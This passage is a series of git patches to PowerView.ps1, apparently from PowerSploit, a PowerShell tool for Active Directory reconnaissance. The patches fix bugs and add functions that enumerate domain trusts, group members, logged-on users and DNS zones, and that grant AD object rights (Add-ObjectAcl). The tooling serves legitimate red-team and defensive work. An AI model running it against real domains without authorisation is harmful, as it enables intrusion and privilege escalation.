bc52035a..6763acf3 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -6091,7 +6091,7 @@ function Get-GroupsXML { # so we can cd/dir the new drive $GroupsXMLPath = $RandDrive + ":\" + $FilePath - } + } } process { @@ -6106,21 +6106,21 @@ function Get-GroupsXML { $MemberOf = @() # extract the localgroup sid for memberof - $LocalSid = $_.Properties.GroupSid + $LocalSid = $_.Group.Properties.GroupSid if(!$LocalSid) { - if($_.Properties.groupName -match 'Administrators') { + if($_.Group.Properties.groupName -match 'Administrators') { $LocalSid = 'S-1-5-32-544' } - elseif($_.Properties.groupName -match 'Remote Desktop') { + elseif($_.Group.Properties.groupName -match 'Remote Desktop') { $LocalSid = 'S-1-5-32-555' } else { - $LocalSid = $_.Properties.groupName + $LocalSid = $_.Group.Properties.groupName } } $MemberOf = @($LocalSid) - $_.Properties.members | ForEach-Object { + $_.Group.Properties.members | ForEach-Object { # process each member of the above local group $_ | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object { @@ -6143,16 +6143,38 @@ function Get-GroupsXML { } if($ResolveSids) { - $Memberof = $Memberof | ForEach-Object {Convert-SidToName $_} - $Members = $Members | ForEach-Object {Convert-SidToName $_} + $Memberof = $Memberof | ForEach-Object { + $memof = $_ + if ($memof.StartsWith("S-1-")) + { + try { + Convert-SidToName $memof + } catch { + $memof + } + } else { + $memof + } + } + $Members= $Members | ForEach-Object { + $member = $_ + if ($member.StartsWith("S-1-")) + { + try { + Convert-SidToName $member + } catch { + $member + } + } else { + $member + } + } } if($Memberof -isnot [system.array]) {$Memberof = @($Memberof)} if($Members -isnot [system.array]) {$Members = @($Members)} $GPOProperties = @{ - 'GPODisplayName' = $GPODisplayName - 'GPOName' = $GPOName 'GPOPath' = $GroupsXMLPath 'Filters' = $Filters 'MemberOf' = $Memberof From 56824c1799cea3471e839c01fcd5a338134f8147 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Fri, 13 May 2016 01:07:24 -0400 Subject: [PATCH 136/296] Get-NetDomainTrust now gets an -API option to enumerate trusts through DsEnumerateDomainTrusts() Logic bug fix for Get-DNSZone Bug fix for Get-NetLocalGroup --- Recon/PowerView.ps1 | 185 ++++++++++++++++++++++++++++++++++++++++---- 1 file changed, 169 insertions(+), 16 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index bc52035a..e7f928f6 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -1937,7 +1937,6 @@ filter Get-DNSZone { $FullData ) - # $DNSSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential -ADSprefix "CN=MicrosoftDNS,DC=DomainDnsZones" $DNSSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential $DNSSearcher.filter="(objectClass=dnsZone)" @@ -1958,6 +1957,27 @@ filter Get-DNSZone { $Results.dispose() $DNSSearcher.dispose() } + + $DNSSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential -ADSprefix "CN=MicrosoftDNS,DC=DomainDnsZones" + $DNSSearcher.filter="(objectClass=dnsZone)" + + if($DNSSearcher) { + $Results = $DNSSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + # convert/process the LDAP fields for each result + $Properties = Convert-LDAPProperty -Properties $_.Properties + $Properties | Add-Member NoteProperty 'ZoneName' $Properties.name + + if ($FullData) { + $Properties + } + else { + $Properties | Select-Object ZoneName,distinguishedname,whencreated,whenchanged + } + } + $Results.dispose() + $DNSSearcher.dispose() + } } @@ -7465,7 +7485,7 @@ function Get-NetLocalGroup { [Parameter(ParameterSetName = 'WinNT', Position=0, ValueFromPipeline=$True)] [Alias('HostName')] [String[]] - $ComputerName = "$($env:COMPUTERNAMECOMPUTERNAME)", + $ComputerName = "$($env:COMPUTERNAME)", [Parameter(ParameterSetName = 'WinNT')] [Parameter(ParameterSetName = 'API')] @@ -7542,6 +7562,9 @@ function Get-NetLocalGroup { $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset $Info = $NewIntPtr -as $LOCALGROUP_MEMBERS_INFO_2 + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + $SidString = "" $Result = $Advapi32::ConvertSidToStringSid($Info.lgrmi2_sid, [ref]$SidString) Write-Debug "Result of ConvertSidToStringSid: $Result" @@ -7549,7 +7572,7 @@ function Get-NetLocalGroup { if($Result -eq 0) { # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681382(v=vs.85).aspx $Err = $Kernel32::GetLastError() - Write-Error "ConvertSidToStringSid LastError: $Err" + Write-Error "ConvertSidToStringSid LastError: $Err" } else { $LocalUser = New-Object PSObject @@ -7562,9 +7585,6 @@ function Get-NetLocalGroup { # add in our custom object $LocalUser.PSObject.TypeNames.Add('PowerView.LocalUser') - $Offset = $NewIntPtr.ToInt64() - $Offset += $Increment - $LocalUsers += $LocalUser } } @@ -12292,6 +12312,10 @@ function Get-NetDomainTrust { Domain controller to reflect LDAP queries through. + .PARAMETER API + + Use an API call (DsEnumerateDomainTrusts) to enumerate the trusts. + .PARAMETER LDAP Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections. @@ -12305,20 +12329,33 @@ function Get-NetDomainTrust { PS C:\> Get-NetDomainTrust - Return domain trusts for the current domain. + Return domain trusts for the current domain using built in .NET methods. .EXAMPLE PS C:\> Get-NetDomainTrust -Domain "prod.testlab.local" - Return domain trusts for the "prod.testlab.local" domain. + Return domain trusts for the "prod.testlab.local" domain using .NET methods .EXAMPLE - PS C:\> Get-NetDomainTrust -Domain "prod.testlab.local" -DomainController "PRIMARY.testlab.local" + PS C:\> Get-NetDomainTrust -LDAP -Domain "prod.testlab.local" -DomainController "PRIMARY.testlab.local" + + Return domain trusts for the "prod.testlab.local" domain enumerated through LDAP + queries, reflecting queries through the "Primary.testlab.local" domain controller, + using .NET methods. + + .EXAMPLE + + PS C:\> Get-NetDomainTrust -API -Domain "prod.testlab.local" + + Return domain trusts for the "prod.testlab.local" domain enumerated through API calls. + + .EXAMPLE - Return domain trusts for the "prod.testlab.local" domain, reflecting - queries through the "Primary.testlab.local" domain controller + PS C:\> Get-NetDomainTrust -API -DomainController WINDOWS2.testlab.local + + Return domain trusts reachable from the WINDOWS2 machine through API calls. #> [CmdletBinding()] @@ -12330,6 +12367,9 @@ function Get-NetDomainTrust { [String] $DomainController, + [Switch] + $API, + [Switch] $LDAP, @@ -12343,11 +12383,11 @@ function Get-NetDomainTrust { process { - if(!$Domain) { + if((-not $Domain) -and (-not $API) -and (-not $DomainController)) { $Domain = (Get-NetDomain -Credential $Credential).Name } - if($LDAP -or $DomainController) { + if($LDAP) { $TrustSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize $SourceSID = Get-DomainSID -Domain $Domain -DomainController $DomainController @@ -12397,11 +12437,88 @@ function Get-NetDomainTrust { $TrustSearcher.dispose() } } + elseif($API) { + if(-not $DomainController) { + $DomainController = Get-NetDomainController -Credential $Credential -Domain $Domain | Select-Object -First 1 | Select-Object -ExpandProperty Name + } + + if($DomainController) { + # arguments for DsEnumerateDomainTrusts + $PtrInfo = [IntPtr]::Zero + + # 63 = DS_DOMAIN_IN_FOREST + DS_DOMAIN_DIRECT_OUTBOUND + DS_DOMAIN_TREE_ROOT + DS_DOMAIN_PRIMARY + DS_DOMAIN_NATIVE_MODE + DS_DOMAIN_DIRECT_INBOUND + $Flags = 63 + $DomainCount = 0 + + # get the trust information from the target server + $Result = $Netapi32::DsEnumerateDomainTrusts($DomainController, $Flags, [ref]$PtrInfo, [ref]$DomainCount) + # Locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() + + Write-Debug "DsEnumerateDomainTrusts result for $DomainController : $Result" + + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { + + # Work out how mutch to increment the pointer by finding out the size of the structure + $Increment = $DS_DOMAIN_TRUSTS::GetSize() + + # parse all the result structures + for ($i = 0; ($i -lt $DomainCount); $i++) { + # create a new int ptr at the given offset and cast + # the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $DS_DOMAIN_TRUSTS + + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + + $SidString = "" + $Result = $Advapi32::ConvertSidToStringSid($Info.DomainSid, [ref]$SidString) + + if($Result -eq 0) { + # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681382(v=vs.85).aspx + $Err = $Kernel32::GetLastError() + Write-Error "ConvertSidToStringSid LastError: $Err" + } + else { + $DomainTrust = New-Object PSObject + $DomainTrust | Add-Member Noteproperty 'SourceDomain' $Domain + $DomainTrust | Add-Member Noteproperty 'SourceDomainController' $DomainController + $DomainTrust | Add-Member Noteproperty 'NetbiosDomainName' $Info.NetbiosDomainName + $DomainTrust | Add-Member Noteproperty 'DnsDomainName' $Info.DnsDomainName + $DomainTrust | Add-Member Noteproperty 'Flags' $Info.Flags + $DomainTrust | Add-Member Noteproperty 'ParentIndex' $Info.ParentIndex + $DomainTrust | Add-Member Noteproperty 'TrustType' $Info.TrustType + $DomainTrust | Add-Member Noteproperty 'TrustAttributes' $Info.TrustAttributes + $DomainTrust | Add-Member Noteproperty 'DomainSid' $SidString + $DomainTrust | Add-Member Noteproperty 'DomainGuid' $Info.DomainGuid + $DomainTrust.PSObject.TypeNames.Add('PowerView.APIDomainTrust') + $DomainTrust + } + } + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + } + else + { + switch ($Result) { + (50) { Write-Debug 'The request is not supported.' } + (1004) { Write-Debug 'Invalid flags.' } + (1311) { Write-Debug 'There are currently no logon servers available to service the logon request.' } + (1786) { Write-Debug 'The workstation does not have a trust secret.' } + (1787) { Write-Debug 'The security database on the server does not have a computer account for this workstation trust relationship.' } + } + } + } + else { + Write-Error "Could not retrieve domain controller for $Domain" + } + } else { - # if we're using direct domain connections + # if we're using direct domain connections through .NET $FoundDomain = Get-NetDomain -Domain $Domain -Credential $Credential - if($FoundDomain) { $FoundDomain.GetAllTrustRelationships() } @@ -12843,7 +12960,6 @@ function Invoke-MapDomainTrust { [Management.Automation.PSCredential] $Credential - ) # keep track of domains seen so we don't hit infinite recursion @@ -12934,6 +13050,7 @@ $FunctionDefinitions = @( (func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), (func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), (func netapi32 DsGetSiteName ([Int]) @([String], [IntPtr].MakeByRefType())), + (func netapi32 DsEnumerateDomainTrusts ([Int]) @([String], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType())), (func netapi32 NetApiBufferFree ([Int]) @([IntPtr])), (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType())), (func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int])), @@ -13022,6 +13139,42 @@ $LOCALGROUP_MEMBERS_INFO_2 = struct $Mod LOCALGROUP_MEMBERS_INFO_2 @{ lgrmi2_domainandname = field 2 String -MarshalAs @('LPWStr') } +# enums used in DS_DOMAIN_TRUSTS +$DsDomainFlag = psenum $Mod DsDomain.Flags UInt32 @{ + IN_FOREST = 1 + DIRECT_OUTBOUND = 2 + TREE_ROOT = 4 + PRIMARY = 8 + NATIVE_MODE = 16 + DIRECT_INBOUND = 32 +} -Bitfield +$DsDomainTrustType = psenum $Mod DsDomain.TrustType UInt32 @{ + DOWNLEVEL = 1 + UPLEVEL = 2 + MIT = 3 + DCE = 4 +} +$DsDomainTrustAttributes = psenum $Mod DsDomain.TrustAttributes UInt32 @{ + NON_TRANSITIVE = 1 + UPLEVEL_ONLY = 2 + FILTER_SIDS = 4 + FOREST_TRANSITIVE = 8 + CROSS_ORGANIZATION = 16 + WITHIN_FOREST = 32 + TREAT_AS_EXTERNAL = 64 +} + +# the DsEnumerateDomainTrusts result structure +$DS_DOMAIN_TRUSTS = struct $Mod DS_DOMAIN_TRUSTS @{ + NetbiosDomainName = field 0 String -MarshalAs @('LPWStr') + DnsDomainName = field 1 String -MarshalAs @('LPWStr') + Flags = field 2 $DsDomainFlag + ParentIndex = field 3 UInt32 + TrustType = field 4 $DsDomainTrustType + TrustAttributes = field 5 $DsDomainTrustAttributes + DomainSid = field 6 IntPtr + DomainGuid = field 7 Guid +} $Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' $Netapi32 = $Types['netapi32'] From c89f0b99693ffded815c23590bfd042afe192b77 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Fri, 13 May 2016 01:11:47 -0400 Subject: [PATCH 137/296] Logic bug fix in Get-NetDomainTrust --- Recon/PowerView.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index e7f928f6..d8f4248c 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -12383,7 +12383,7 @@ function Get-NetDomainTrust { process { - if((-not $Domain) -and (-not $API) -and (-not $DomainController)) { + if((-not $Domain) -or ((-not $API) -and (-not $DomainController))) { $Domain = (Get-NetDomain -Credential $Credential).Name } From b568271d57be6d850906a8c14d5222b81c477daa Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Sun, 22 May 2016 14:07:37 -0400 Subject: [PATCH 138/296] Get-LoggedOnLocal now handles the situation when multiple SIDs are returned Get-LoggedOnLocal turned into a filter and given additional error handling Standardized tab/line spacing Removed Invoke-PSLoggedOn --- Recon/PowerView.ps1 | 134 +++++++++++--------------------------------- 1 file changed, 33 insertions(+), 101 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index c10cbed7..6ad1c9d3 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -8147,25 +8147,23 @@ filter Get-NetSession { } -function Get-LoggedOnLocal { +filter Get-LoggedOnLocal { <# .SYNOPSIS This function will query the HKU registry values to retrieve the local logged on users SID and then attempt and reverse it. Adapted technique from Sysinternal's PSLoggedOn script. Benefit over - using the NetWkstaUserEnum API (Get-NetLoggedon) of less user privileges - required (NetWkstaUserEnum requires remote admin access). + using the NetWkstaUserEnum API (Get-NetLoggedon) of less user privileges + required (NetWkstaUserEnum requires remote admin access). - Note: This function requires only domain user rights on the - machine you're enumerating. - - Function: Get-LoggedOnLocal - Author: Matt Kelly, @BreakersAll; - Required Dependencies: @harmj0y's Powerview. - - .PARAMETER ComputerName + machine you're enumerating, but remote registry must be enabled. + + Function: Get-LoggedOnLocal + Author: Matt Kelly, @BreakersAll + + .PARAMETER ComputerName The ComputerName to query for active sessions. @@ -8187,105 +8185,39 @@ function Get-LoggedOnLocal { param( [Parameter(ValueFromPipeline=$True)] [Alias('HostName')] - [String] + [Object[]] + [ValidateNotNullOrEmpty()] $ComputerName = 'localhost' ) - begin { - if ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } - } - - process { - - # process multiple host object types from the pipeline - $ComputerName = Get-NameField -Object $ComputerName - # retrieve HKU remote registry values - $Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('Users', "$ComputerName") - - # sort out bogus sid's like _class - $UserSID = $Reg.GetSubKeyNames() | ? { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } - - # if successful, convert sid and print output - if ($UserSID) { - $UserName = Convert-SidToName $UserSID - - $LocalLoggedOnUser = New-Object PSObject - $LocalLoggedOnUser | Add-Member Noteproperty 'ComputerName' $ComputerName - $LocalLoggedOnUser | Add-Member Noteproperty 'UserName' $UserName - $LocalLoggedOnUser | Add-Member Noteproperty 'UserSID' $UserSID - $LocalLoggedOnUser - } - else { - Write-Debug "Could not retrieve values for $ComputerName" - } - - Write-Debug "UserSIDs retrieved result: $Reg.GetSubKeyNames()" - } -} - - -function Invoke-PSLoggedOn { -<# - .SYNOPSIS - - This function replicates PSLoggedOn functionality, and leverages - Get-NetSession (netsessionenum) and remote registry values. - Same actions as PSLoggedOn except in PowerShell. - - Note: This function requires only domain user rights on the - machine you're enumerating. - - Function: Invoke-PSLoggedOn - Author: Matt Kelly, @BreakersAll; - Required Dependencies: PowerView. PSv2 - - .PARAMETER ComputerName - - The ComputerName to query for active sessions. - - .EXAMPLE - - PS C:\> Invoke-PSLoggedOn - - Returns active sessions on the local host. + # process multiple host object types from the pipeline + $ComputerName = Get-NameField -Object $ComputerName - .EXAMPLE + try { + # retrieve HKU remote registry values + $Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('Users', "$ComputerName") - PS C:\> Invoke-PSLoggedOn -ComputerName sqlserver + # sort out bogus sid's like _class + $Reg.GetSubKeyNames() | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } | ForEach-Object { + $UserName = Convert-SidToName $_ - Returns active sessions on the 'sqlserver' host. - -#> + $Parts = $UserName.Split('\') + $UserDomain = $Null + $UserName = $Parts[-1] + if ($Parts.Length -eq 2) { + $UserDomain = $Parts[0] + } - [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - [Alias('HostName')] - [String] - $ComputerName = 'localhost' - ) - - begin { - if ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' + $LocalLoggedOnUser = New-Object PSObject + $LocalLoggedOnUser | Add-Member Noteproperty 'ComputerName' "$ComputerName" + $LocalLoggedOnUser | Add-Member Noteproperty 'UserDomain' $UserDomain + $LocalLoggedOnUser | Add-Member Noteproperty 'UserName' $UserName + $LocalLoggedOnUser | Add-Member Noteproperty 'UserSID' $_ + $LocalLoggedOnUser } } - - process { - - # process multiple host object types from the pipeline - $ComputerName = Get-NameField -Object $ComputerName - - $LoggedOnLocal = Get-LoggedOnLocal $ComputerName - $NetSessionUsers = Get-NetSession $ComputerName - - Write-Host "Users logged on locally to $ComputerName:" - $LoggedOnLocal - Write-Host "" - Write-Host "Users logged on via resource shares to $ComputerName:" - $NetSessionUsers + catch { + Write-Verbose "Error opening remote registry on '$ComputerName'" } } From df2f92899a27a3e8e962079360cab790abae3bd3 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Sun, 22 May 2016 14:40:40 -0400 Subject: [PATCH 139/296] -Fixed bug in Get-NetGroupMember's ranged searching logic on PowerShell v3+ -Corrected parameter/variable scoping bug in several functions -TODO: fix begin{} scoping issues in Find-InterestingFile, Invoke-UserHunter, Invoke-ProcessHunter, Invoke-EventHunter, Invoke-ShareFinder, Invoke-FileFinder, Find-LocalAdminAccess, Invoke-EnumerateLocalAdmin -Other misc. fixes --- Recon/PowerView.ps1 | 237 +++++++++++++++++++++----------------------- 1 file changed, 114 insertions(+), 123 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 6ad1c9d3..f4339f72 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -1649,7 +1649,7 @@ filter Get-DomainSearcher { ) if(!$Credential) { - if(!$Domain){ + if(!$Domain) { $Domain = (Get-NetDomain).name } elseif(!$DomainController) { @@ -3473,15 +3473,18 @@ function Add-ObjectAcl { begin { $Searcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $TargetADSpath -ADSprefix $TargetADSprefix -PageSize $PageSize - if(!$PrincipalSID) { + if($PrincipalSID) { + $ResolvedPrincipalSID = $PrincipalSID + } + else { $Principal = Get-ADObject -Domain $Domain -DomainController $DomainController -Name $PrincipalName -SamAccountName $PrincipalSamAccountName -PageSize $PageSize if(!$Principal) { throw "Error resolving principal" } - $PrincipalSID = $Principal.objectsid + $ResolvedPrincipalSID = $Principal.objectsid } - if(!$PrincipalSID) { + if(!$ResolvedPrincipalSID) { throw "Error resolving principal" } } @@ -3505,7 +3508,7 @@ function Add-ObjectAcl { $TargetDN = $_.Properties.distinguishedname - $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$PrincipalSID) + $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$ResolvedPrincipalSID) $InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] "None" $ControlType = [System.Security.AccessControl.AccessControlType] "Allow" $ACEs = @() @@ -3540,19 +3543,19 @@ function Add-ObjectAcl { $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity,$ADRights,$ControlType,$InheritanceType } - Write-Verbose "Granting principal $PrincipalSID '$Rights' on $($_.Properties.distinguishedname)" + Write-Verbose "Granting principal $ResolvedPrincipalSID '$Rights' on $($_.Properties.distinguishedname)" try { # add all the new ACEs to the specified object ForEach ($ACE in $ACEs) { - Write-Verbose "Granting principal $PrincipalSID '$($ACE.ObjectType)' rights on $($_.Properties.distinguishedname)" + Write-Verbose "Granting principal $ResolvedPrincipalSID '$($ACE.ObjectType)' rights on $($_.Properties.distinguishedname)" $Object = [adsi]($_.path) $Object.PsBase.ObjectSecurity.AddAccessRule($ACE) $Object.PsBase.commitchanges() } } catch { - Write-Warning "Error granting principal $PrincipalSID '$Rights' on $TargetDN : $_" + Write-Warning "Error granting principal $ResolvedPrincipalSID '$Rights' on $TargetDN : $_" } } $Results.dispose() @@ -4768,10 +4771,6 @@ function Get-NetSite { ) begin { - if(!$Domain) { - $Domain = Get-NetDomain -Credential $Credential - } - $SiteSearcher = Get-DomainSearcher -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSprefix "CN=Sites,CN=Configuration" -PageSize $PageSize } process { @@ -4885,10 +4884,6 @@ function Get-NetSubnet { ) begin { - if(!$Domain) { - $Domain = Get-NetDomain -Credential $Credential - } - $SubnetSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -ADSprefix "CN=Subnets,CN=Sites,CN=Configuration" -PageSize $PageSize } @@ -5268,34 +5263,38 @@ function Get-NetGroupMember { ) begin { - # so this isn't repeated if users are passed on the pipeline - $GroupSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize - - if(!$DomainController) { - $DomainController = ((Get-NetDomain -Credential $Credential).PdcRoleOwner).Name + if($DomainController) { + $TargetDomainController = $DomainController + } + else { + $TargetDomainController = ((Get-NetDomain -Credential $Credential).PdcRoleOwner).Name } - if(!$Domain) { - $Domain = Get-NetDomain -Credential $Credential + if($Domain) { + $TargetDomain = $Domain } + else { + $TargetDomain = Get-NetDomain -Credential $Credential | Select-Object -ExpandProperty name + } + + # so this isn't repeated if users are passed on the pipeline + $GroupSearcher = Get-DomainSearcher -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize } process { - if ($GroupSearcher) { - if ($Recurse -and $UseMatchingRule) { # resolve the group to a distinguishedname if ($GroupName) { - $Group = Get-NetGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -PageSize $PageSize + $Group = Get-NetGroup -GroupName $GroupName -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize } elseif ($SID) { - $Group = Get-NetGroup -SID $SID -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -PageSize $PageSize + $Group = Get-NetGroup -SID $SID -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize } else { # default to domain admins - $SID = (Get-DomainSID -Domain $Domain -Credential $Credential) + "-512" - $Group = Get-NetGroup -SID $SID -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -PageSize $PageSize + $SID = (Get-DomainSID -Domain $TargetDomain -Credential $Credential) + "-512" + $Group = Get-NetGroup -SID $SID -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize } $GroupDN = $Group.distinguishedname $GroupFoundName = $Group.name @@ -5320,60 +5319,56 @@ function Get-NetGroupMember { } else { # default to domain admins - $SID = (Get-DomainSID -Domain $Domain -Credential $Credential) + "-512" + $SID = (Get-DomainSID -Domain $TargetDomain -Credential $Credential) + "-512" $GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)" } - $Results = $GroupSearcher.FindAll() - $Results | ForEach-Object { - try { - if (!($_) -or !($_.properties) -or !($_.properties.name)) { continue } - - $GroupFoundName = $_.properties.name[0] - $Members = @() - - if ($_.properties.member.Count -eq 0) { - $Finished = $False - $Bottom = 0 - $Top = 0 - while(!$Finished) { - $Top = $Bottom + 1499 - $MemberRange="member;range=$Bottom-$Top" - $Bottom += 1500 - $GroupSearcher.PropertiesToLoad.Clear() - [void]$GroupSearcher.PropertiesToLoad.Add("$MemberRange") - try { - $Result = $GroupSearcher.FindOne() - if ($Result) { - $RangedProperty = $_.Properties.PropertyNames -like "member;range=*" - $Results = $_.Properties.item($RangedProperty) - if ($Results.count -eq 0) { - $Finished = $True - } - else { - $Results | ForEach-Object { - $Members += $_ - } - } - } - else { - $Finished = $True - } - } - catch [System.Management.Automation.MethodInvocationException] { + try { + $Result = $GroupSearcher.FindOne() + } + catch { + $Members = @() + } + + $GroupFoundName = '' + + if ($Result) { + $Members = $Result.properties.item("member") + + if($Members.count -eq 0) { + + $Finished = $False + $Bottom = 0 + $Top = 0 + + while(!$Finished) { + $Top = $Bottom + 1499 + $MemberRange="member;range=$Bottom-$Top" + $Bottom += 1500 + + $GroupSearcher.PropertiesToLoad.Clear() + [void]$GroupSearcher.PropertiesToLoad.Add("$MemberRange") + [void]$GroupSearcher.PropertiesToLoad.Add("name") + try { + $Result = $GroupSearcher.FindOne() + $RangedProperty = $Result.Properties.PropertyNames -like "member;range=*" + $Members += $Result.Properties.item($RangedProperty) + $GroupFoundName = $Result.properties.item("name")[0] + + if ($Members.count -eq 0) { $Finished = $True } } - } - else { - $Members = $_.properties.member + catch [System.Management.Automation.MethodInvocationException] { + $Finished = $True + } } - } - catch { - Write-Verbose $_ + } + else { + $GroupFoundName = $Result.properties.item("name")[0] + $Members += $Result.Properties.item($RangedProperty) } } - $Results.dispose() $GroupSearcher.dispose() } @@ -5383,8 +5378,8 @@ function Get-NetGroupMember { $Properties = $_.Properties } else { - if($DomainController) { - $Result = [adsi]"LDAP://$DomainController/$_" + if($TargetDomainController) { + $Result = [adsi]"LDAP://$TargetDomainController/$_" } else { $Result = [adsi]"LDAP://$_" @@ -5405,7 +5400,7 @@ function Get-NetGroupMember { $GroupMember = New-Object PSObject } - $GroupMember | Add-Member Noteproperty 'GroupDomain' $Domain + $GroupMember | Add-Member Noteproperty 'GroupDomain' $TargetDomain $GroupMember | Add-Member Noteproperty 'GroupName' $GroupFoundName try { @@ -5452,10 +5447,10 @@ function Get-NetGroupMember { # if we're doing manual recursion if ($Recurse -and !$UseMatchingRule -and $IsGroup -and $MemberName) { if($FullData) { - Get-NetGroupMember -FullData -Domain $MemberDomain -DomainController $DomainController -Credential $Credential -GroupName $MemberName -Recurse -PageSize $PageSize + Get-NetGroupMember -FullData -Domain $MemberDomain -DomainController $TargetDomainController -Credential $Credential -GroupName $MemberName -Recurse -PageSize $PageSize } else { - Get-NetGroupMember -Domain $MemberDomain -DomainController $DomainController -Credential $Credential -GroupName $MemberName -Recurse -PageSize $PageSize + Get-NetGroupMember -Domain $MemberDomain -DomainController $TargetDomainController -Credential $Credential -GroupName $MemberName -Recurse -PageSize $PageSize } } } @@ -5640,7 +5635,6 @@ function Get-DFSshare { $bin = $Pkt $blob_version = [bitconverter]::ToUInt32($bin[0..3],0) $blob_element_count = [bitconverter]::ToUInt32($bin[4..7],0) - #Write-Host "Element Count: " $blob_element_count $offset = 8 #https://msdn.microsoft.com/en-us/library/cc227147.aspx $object_list = @() @@ -5648,15 +5642,15 @@ function Get-DFSshare { $blob_name_size_start = $offset $blob_name_size_end = $offset + 1 $blob_name_size = [bitconverter]::ToUInt16($bin[$blob_name_size_start..$blob_name_size_end],0) - #Write-Host "Blob name size: " $blob_name_size + $blob_name_start = $blob_name_size_end + 1 $blob_name_end = $blob_name_start + $blob_name_size - 1 $blob_name = [System.Text.Encoding]::Unicode.GetString($bin[$blob_name_start..$blob_name_end]) - #Write-Host "Blob Name: " $blob_name + $blob_data_size_start = $blob_name_end + 1 $blob_data_size_end = $blob_data_size_start + 3 $blob_data_size = [bitconverter]::ToUInt32($bin[$blob_data_size_start..$blob_data_size_end],0) - #Write-Host "blob data size: " $blob_data_size + $blob_data_start = $blob_data_size_end + 1 $blob_data_end = $blob_data_start + $blob_data_size - 1 $blob_data = $bin[$blob_data_start..$blob_data_end] @@ -5675,22 +5669,22 @@ function Get-DFSshare { $prefix_start = $prefix_size_end + 1 $prefix_end = $prefix_start + $prefix_size - 1 $prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$prefix_start..$prefix_end]) - #write-host "Prefix: " $prefix + $short_prefix_size_start = $prefix_end + 1 $short_prefix_size_end = $short_prefix_size_start + 1 $short_prefix_size = [bitconverter]::ToUInt16($blob_data[$short_prefix_size_start..$short_prefix_size_end],0) $short_prefix_start = $short_prefix_size_end + 1 $short_prefix_end = $short_prefix_start + $short_prefix_size - 1 $short_prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$short_prefix_start..$short_prefix_end]) - #write-host "Short Prefix: " $short_prefix + $type_start = $short_prefix_end + 1 $type_end = $type_start + 3 $type = 